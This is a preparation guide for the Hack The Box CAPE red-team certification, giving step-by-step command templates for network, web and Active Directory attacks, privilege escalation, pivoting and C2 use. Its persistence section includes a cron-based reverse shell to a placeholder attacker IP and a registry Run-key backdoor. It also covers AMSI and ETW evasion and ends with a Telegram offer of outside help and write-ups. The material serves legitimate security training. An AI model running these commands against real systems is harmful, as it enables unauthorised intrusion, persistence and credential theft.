HTB CAPE Preparation Guide: A Detailed Roadmap for Success

The Hack The Box Certified Adversarial Penetration-testing Engineer (HTB CAPE) is an elite, hands-on certification that validates expert-level penetration testing and red team skills in complex, enterprise-like environments. The 10-day exam challenges candidates to compromise a sophisticated network, capture flags (e.g., 12/14 user and root flags), and deliver a commercial-grade report, testing skills in Active Directory (AD) exploitation, web application attacks, privilege escalation, lateral movement, and red team tactics. This advanced guide provides a detailed, step-by-step roadmap for experienced pentesters to prepare for the HTB CAPE, focusing on sophisticated methodologies, toolchains, and enterprise attack scenarios.

Understanding the HTB CAPE Exam

The HTB CAPE exam is a 10-day, black-box penetration test of an enterprise-like network, accessible via VPN or HTB’s Pwnbox. Candidates must identify vulnerabilities, chain exploits, capture flags, and submit a professional report. Key details:

Focus Areas:
Web application exploitation (e.g., SQLi, XSS, SSRF, deserialization).
Network service exploitation (e.g., SMB, RDP, SSH).
Active Directory attacks (e.g., Kerberoasting, Golden Ticket).
Privilege escalation (Linux/Windows).
Lateral movement and pivoting.
Red team tactics (e.g., persistence, C2 frameworks).
Professional reporting with attack chains and mitigations.
Prerequisites: Complete 100% of the HTB Academy Red Team job-role path (31 modules, 2400 Cubes).
Exam Voucher: ~$310 USD (verify at https://academy.hackthebox.com/).
Preparation Time: 4–8 months, 15–25 hours/week, for those with CPTS or equivalent experience.

Sentiment : highlight CAPE’s focus on realistic AD environments, complex attack chains, and rigorous reporting, making it a top choice for red team career paths.

Prerequisites for Advanced Preparation

Networking: Deep understanding of TCP/IP, DNS, Kerberos, and LDAP.
Linux/Windows: Advanced CLI skills (Linux: bash, awk, sed; Windows: PowerShell, cmd).
Security Knowledge: Experience with web vulnerabilities, AD attacks, and privilege escalation (e.g., CPTS-level).
Scripting: Proficiency in Python/Bash for automation and exploit development.
Tools: Familiarity with Nmap, Metasploit, Burp Suite, BloodHound, Impacket, and C2 frameworks.

Advanced Preparation Plan

Step 1: Master Enterprise Enumeration

Goal: Develop a systematic, multi-layered enumeration methodology for enterprise networks.

Network Enumeration:
Use nmap -sC -sV -p- --min-rate 1000 <IP> for comprehensive port scanning.
Enumerate SMB: enum4linux -a <IP> or smbclient -L \\\\<IP>.
Scan DNS: dnsrecon -d <domain> for zone transfers.
Web Enumeration:
Use gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/big.txt -x php,html,txt for directory brute-forcing.
Check for CMS: whatweb <URL> or wpscan --url <URL> --enumerate u,p for WordPress.
AD Enumeration:
Enumerate users/groups: rpcclient -U "" <IP> -c "enumdomusers".
Use BloodHound: bloodhound-python -u <user> -p <pass> -c All -d <domain> -dc <DC_IP>.
Tools:
Nmap, Enum4linux, SMBclient, Gobuster, Nikto, BloodHound.py.
Resources:
HackTricks enumeration guide (https://book.hacktricks.xyz/).
TryHackMe’s “Network Services” room.
Time: 2–3 weeks.

Step 2: Optimize Your Lab Environment

Goal: Configure a robust, enterprise-ready pentesting setup.

Kali Linux:
Install on VirtualBox/VMware with 16GB RAM, 4 CPUs.
Update tools: apt update && apt install -y nmap metasploit-framework bloodhound impacket-scripts.
HTB Pwnbox:
Use for HTB labs; test VPN stability with openvpn <htb_vpn_file>.
Custom Toolkit:
Clone repositories: git clone https://github.com/carlospolop/PEASS-ng (LinPeas/WinPeas), git clone https://github.com/fortra/impacket.
Install SysWhispers3 for syscall-based payloads: pip install syswhispers3.
Lab Setup:
Deploy GOAD (https://github.com/Orange-Cyberdefense/GOAD) for local AD practice.
Use VulnHub VMs (e.g., DC-9) for mixed environments.
Resource: Kali documentation (https://www.kali.org/docs/).
Time: 1–2 weeks.

Step 3: Advanced Web Application Exploitation

Goal: Master complex web vulnerabilities and exploit chaining.

Techniques:
SQL Injection: Use sqlmap -u <URL> --dbs --batch for automated exploitation; manually verify with UNION SELECT queries.
XSS: Test reflected/stored XSS with payloads like <script>alert(document.cookie)</script>; escalate to session hijacking.
SSRF: Craft payloads to access internal services (e.g., http://127.0.0.1:8080); pivot to AWS metadata (http://169.254.169.254/latest/meta-data/).
Deserialization: Exploit insecure deserialization in PHP/Java apps using ysoserial.
Tools:
Burp Suite Pro (or Free), SQLMap, Nikto.
Custom scripts: Write Python requests to automate SSRF payloads.
Practice:
PortSwigger Web Security Academy (free).
HTB’s web-focused boxes (e.g., Shocker).
TryHackMe’s “OWASP Juice Shop”.
Resources:
OWASP Top 10 (https://owasp.org/www-project-top-ten/).
TCM Security’s Web Application Hacking course.
Time: 3–4 weeks.

Step 4: Advanced Active Directory Exploitation

Goal: Execute sophisticated AD attacks for domain dominance.

Techniques:
Kerberoasting: impacket-GetUserSPNs -dc-ip <DC_IP> <domain>/<user>:<pass> -request.
ASREPRoast: impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP>.
Pass-the-Hash: crackmapexec smb <IP> -u <user> -H <NTLM_hash> --local-auth.
Golden Ticket: Generate with impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain <domain>.
ESC1-ESC16 (Certipy): certipy find -u <user>@<domain> -p <pass> -dc-ip <DC_IP>; exploit vulnerable templates.
Shadow Credentials: bloodyAD --host <DC_IP> -d <domain> -u <user> -p <pass> setShadowCredentials <target_user>.
Tools:
BloodHound, Impacket, CrackMapExec, Certipy, BloodyAD.
Practice:
HTB’s Forest, Resolute, Multimaster.
TryHackMe’s “Attacktive Directory”.
GOAD lab for multi-domain attacks.
Resource: HackTricks AD methodology (https://book.hacktricks.xyz/windows/active-directory-methodology).
Time: 4–5 weeks.

Step 5: Advanced Privilege Escalation

Goal: Master complex privilege escalation on Linux and Windows.

Linux:
SUID binaries: find / -perm -u=s -type f 2>/dev/null; exploit with GTFOBins (https://gtfobins.github.io/).
Kernel exploits: Use linux-exploit-suggester for outdated kernels.
Misconfigurations: Check /etc/crontab, /etc/passwd writable files.
Windows:
Service misconfigurations: sc qc <service>; modify with sc config.
Token impersonation: incognito list_tokens -u (Metasploit).
DLL hijacking: Use Process Monitor to identify missing DLLs.
Tools:
LinPeas/WinPeas: python3 linpeas.py > output.txt.
PowerUp/SharpUp for Windows enumeration.
Practice:
HTB’s Lame (Linux), Legacy (Windows).
TryHackMe’s “Privilege Escalation” rooms.
Resource: TCM Security’s Privilege Escalation course.
Time: 3–4 weeks.

Step 6: Master Red Team Tactics

Goal: Execute advanced red team operations for stealth and persistence.

Pivoting:
SSH tunneling: ssh -D 9050 <user>@<IP> for SOCKS proxy.
Chisel: chisel server -p 8000 --reverse and chisel client <attacker_IP>:8000 R:8080:127.0.0.1:8080.
C2 Frameworks:
Use Sliver: sliver-server and generate payloads with generate --mtls <C2_IP>.
Evade EDR with SysWhispers3 for direct syscalls.
Persistence:
Windows: Add registry key: reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\malware.exe".
Linux: Cron job: echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1'" >> /etc/crontab.
Evasion:
Disable ETW/AMSI: Use PowerShell scripts like Invoke-Obfuscation.
Mimic legitimate traffic: Route C2 through HTTPS/DNS.
Practice:
HTB’s Multimaster, Cybernetics Pro Lab.
TryHackMe’s “Red Team Engagements”.
Resource: TCM Security’s Practical Red Team Operations course.
Time: 4–5 weeks.

Step 7: Practice Enterprise Attack Chains

Goal: Simulate complex, multi-stage attack chains in enterprise environments.

Scenario Example:
Enumerate: nmap -sC -sV -p- <IP> → Discover HTTP on port 80, SMB on 445.
Web Exploit: Find LFI in web app → Pivot to SSRF (http://127.0.0.1:445) → Access SMB share.
AD Attack: Extract NTLM hash from SMB → Pass-the-hash with crackmapexec → Kerberoast SPN → Crack hash with Hashcat.
Lateral Movement: Use stolen credentials to RDP (xfreerdp /u:<user> /p:<pass> /v:<IP>) → Escalate with WinPeas → DCSync with impacket-secretsdump.
Practice:
HTB Pro Labs: Dante, Zephyr, Cybernetics.
GOAD: Multi-domain AD attacks.
TryHackMe’s “Red Team Capstone Challenge”.
Tips:
Chain vulnerabilities (e.g., web to AD to privilege escalation).
Test in a lab first to refine attack flow.
Time: 5–6 weeks.

Step 8: Master Professional Reporting

Goal: Produce commercial-grade reports for CAPE.

Structure:
Executive Summary: Overview for non-technical stakeholders.
Methodology: Detailed attack steps with commands.
Findings: Vulnerabilities, CVEs, severity (CVSS), evidence (screenshots).
Attack Chain: Visual diagram of exploitation path.
Recommendations: Actionable mitigations (e.g., patch software, disable LLMNR).
Tools:
Sysreptor: sysreptor --template htb-report --output report.pdf.
CherryTree for note organization.
Practice:
Write reports for every HTB box or Pro Lab.
Use HackTricks reporting guide (https://book.hacktricks.xyz/generic-methodologies-and-resources/report).
Time: Ongoing

Step 9: Simulate the Exam Environment

Goal: Prepare for the 10-day exam’s intensity and scope.

Mock Exams:
HTB Pro Labs (Dante, Zephyr): Simulate multi-machine AD attacks.
GOAD: Practice domain escalation and pivoting.
Attempt 3–5 machines in 48 hours to mimic pressure.
Time Management:
Allocate ~6–8 hours per machine; pivot if stuck after 2–3 hours.
Reserve 2–3 days for report writing.
Setup:
Kali VM/Pwnbox with pre-installed tools.
Test VPN: openvpn <htb_vpn_file>.
Script automation: Write a Python script to streamline enumeration (e.g., Nmap → Gobuster → CrackMapExec).

import subprocess
def run_nmap(ip):
    cmd = f"nmap -sC -sV -p- --min-rate 1000 {ip} -oN nmap.txt"
    subprocess.run(cmd, shell=True)

Tips:
Read the Letter of Engagement for scope.
Enumerate exhaustively; save outputs (tee output.txt).
Chain exploits for maximum flags.
Draft report during testing to save time.
Time: 3–4 weeks.

Recommended Resources

Free Resources

HackTricks (https://book.hacktricks.xyz/).
GTFOBins (https://gtfobins.github.io/).
PortSwigger Web Security Academy (https://portswigger.net/web-security).
OverTheWire Bandit (https://overthewire.org/wargames/bandit/).
IppSec YouTube (https://ippsec.rocks/).
0xdf Write-Ups (https://0xdf.gitlab.io/).
Exploit-DB (https://www.exploit-db.com/).
OWASP Top 10 (https://owasp.org/www-project-top-ten/).
Zagnox’s HTB CAPE Cheatsheet (https://github.com/zagnox/HTB-CAPE-Cheatsheet).

Paid Resources

HTB Academy Red Team Path (~$20/month Silver).
HTB Pro Labs: Dante, Zephyr, Cybernetics (~$20/month VIP+).
TryHackMe ($10/month).
Hack The Box ($12/month VIP).
TCM Security Courses: Practical Ethical Hacking, Web Application Hacking, Privilege Escalation, Practical Red Team Operations (~$30 each).
VulnLab (~$15/month).

Books

Web Application Hacker’s Handbook by Dafydd Stuttard and Marcus Pinto.
The Hacker Playbook 3 by Peter Kim.
Red Team Field Manual by Ben Clark.
Advanced Penetration Testing by Wil Allsopp.

Tools

Nmap, Metasploit, Burp Suite, BloodHound, Impacket, CrackMapExec.
LinPeas/WinPeas, SQLMap, Hashcat, Chisel, Socat, Sliver, Sysreptor.

Tips for Success

Complete all 31 Red Team path modules on HTB Academy.
Build a repeatable methodology: enumerate → exploit → escalate → pivot → document.
Automate repetitive tasks with Python scripts (e.g., enumeration, hash cracking).
Take detailed notes in CherryTree or Notion with screenshots.
Review IppSec/0xdf write-ups after attempting machines.
Join HTB Discord or r/hackthebox for hints (avoid spoilers).
Practice chaining exploits (e.g., SSRF → AD credential theft → DCSync).
Test evasion techniques (e.g., AMSI bypass, encrypted C2) in labs.
Schedule breaks to avoid burnout during the 10-day exam.

Conclusion

The HTB CAPE is an elite certification that tests advanced pentesting and red team skills in enterprise environments. This detailed guide equips you with sophisticated methodologies, toolchains, and practice strategies to conquer the 10-day exam. Focus on chaining complex attacks, mastering AD exploitation, and delivering professional reports to earn your HTB CAPE certification. Stay persistent and good luck!

For unofficial support, join our Telegram channel https://t.me/+gU8v-_uVomg4OTE1. We provide remote assistance and write‑ups for machines and CTF challenges.

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